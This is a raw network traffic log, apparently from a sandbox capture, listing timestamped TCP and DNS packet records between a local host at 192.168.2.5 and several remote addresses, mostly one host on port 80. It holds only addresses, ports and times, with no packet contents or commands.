Nov 12, 2024 06:23:32.351547956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351592064 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.351612091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.351650953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351661921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351691008 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.351732016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351772070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.351788998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351802111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351818085 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.351820946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.351838112 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.351860046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352091074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352103949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352116108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352133036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352149963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352164030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352174997 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352185965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352200031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352549076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352560997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352576017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352586031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352597952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352622986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352653027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352665901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352678061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352690935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352693081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.352698088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352718115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.352730036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.370847940 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:32.370878935 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:32.370948076 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:32.371740103 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:32.371753931 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:32.374929905 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.374942064 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.374952078 CET	49847	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.374955893 CET	443	49847	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.405594110 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.405611992 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.405668974 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.407733917 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.407743931 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.420322895 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:32.421459913 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:32.421477079 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:32.424818993 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:32.424823999 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:32.425165892 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:32.425178051 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:32.469227076 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.469377995 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.470947981 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.470974922 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.471421957 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.471427917 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.471749067 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.471787930 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.472114086 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.472121954 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.476995945 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.477421999 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.477438927 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.478015900 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.478020906 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.502204895 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.503252029 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.503271103 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.503866911 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.503873110 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.506139994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506167889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506177902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506187916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506206989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506212950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506283998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506294966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506308079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506325006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506326914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506341934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506345034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506366014 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506390095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506695986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506705999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506721973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506741047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506751060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.506763935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.506776094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507139921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507177114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507186890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507215023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507236958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507251024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507261992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507294893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507657051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507668018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507678032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507688999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507702112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507705927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507714987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507725954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507730007 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.507736921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.507757902 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.508254051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508306980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.508352041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508363008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508383036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508388996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.508388996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508392096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508404970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508416891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508428097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.508434057 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.508454084 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.508465052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.509188890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.509198904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.509211063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.509222031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.509232044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.509243011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.509268045 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.559150934 CET	53	54502	162.159.36.2	192.168.2.5
Nov 12, 2024 06:23:32.559729099 CET	54502	53	192.168.2.5	162.159.36.2
Nov 12, 2024 06:23:32.565572977 CET	53	54502	162.159.36.2	192.168.2.5
Nov 12, 2024 06:23:32.565635920 CET	54502	53	192.168.2.5	162.159.36.2
Nov 12, 2024 06:23:32.600188017 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.600472927 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.600531101 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.600569963 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.600588083 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.600600958 CET	54505	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.600606918 CET	443	54505	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.604890108 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.604929924 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.605071068 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.605413914 CET	54510	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.605426073 CET	443	54510	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.611129999 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.611321926 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.611413002 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.611440897 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.611567974 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.611608028 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.613322973 CET	54504	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.613339901 CET	443	54504	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.613574982 CET	54503	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.613588095 CET	443	54503	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.616638899 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.616667032 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.616940022 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.618616104 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.618657112 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.618735075 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.619069099 CET	54511	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.619081974 CET	443	54511	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.619203091 CET	54512	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.619221926 CET	443	54512	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.631917953 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.632153034 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.632213116 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.632252932 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.632260084 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.632270098 CET	54506	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.632276058 CET	443	54506	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.634553909 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.634577036 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.634831905 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.634963036 CET	54513	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:32.634974003 CET	443	54513	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:32.660849094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.660864115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.660914898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.660932064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.660964966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.660969973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.660975933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.660989046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.660995007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661012888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661027908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661086082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661098003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661108971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661133051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661160946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661261082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661277056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661288977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661303997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661304951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661317110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661319971 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661344051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661366940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661570072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661587954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661600113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661637068 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661664963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661669016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661681890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.661714077 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661725998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.661987066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662025928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662041903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662061930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662077904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662091970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662095070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662106991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662112951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662142038 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662389994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662400961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662411928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662451982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662589073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662600994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662611961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662636995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662646055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662652969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662664890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662676096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662684917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662689924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662705898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662712097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662720919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662734032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662739992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662751913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662756920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662767887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.662781954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.662802935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.663419962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.663434029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.663445950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.663466930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.663497925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.693689108 CET	54514	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:32.693739891 CET	443	54514	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:32.693804979 CET	54514	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:32.693970919 CET	54515	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:32.693991899 CET	443	54515	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:32.694065094 CET	54515	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:32.694210052 CET	54514	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:32.694236040 CET	443	54514	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:32.694340944 CET	54515	443	192.168.2.5	172.64.41.3
Nov 12, 2024 06:23:32.694351912 CET	443	54515	172.64.41.3	192.168.2.5
Nov 12, 2024 06:23:32.776226997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776242018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776294947 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776318073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776329994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776343107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776354074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776361942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776391029 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776395082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776442051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776612043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776632071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776643038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776657104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776662111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776669979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776674986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776699066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776721954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776721954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776736021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776747942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776756048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776761055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776765108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776774883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.776777983 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776794910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.776808023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777123928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777168036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777194023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777204990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777235031 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777390003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777404070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777415991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777432919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777445078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777446032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777466059 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777477026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777621031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777631998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777643919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777672052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777698994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777754068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777765036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777796984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777807951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777954102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777965069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777978897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.777990103 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.777996063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.778003931 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.778011084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.778019905 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.778026104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.778036118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.778044939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.778060913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.815542936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815577030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815587044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815598011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815604925 CET	49779	80	192.168.2.5	185.215.113.206
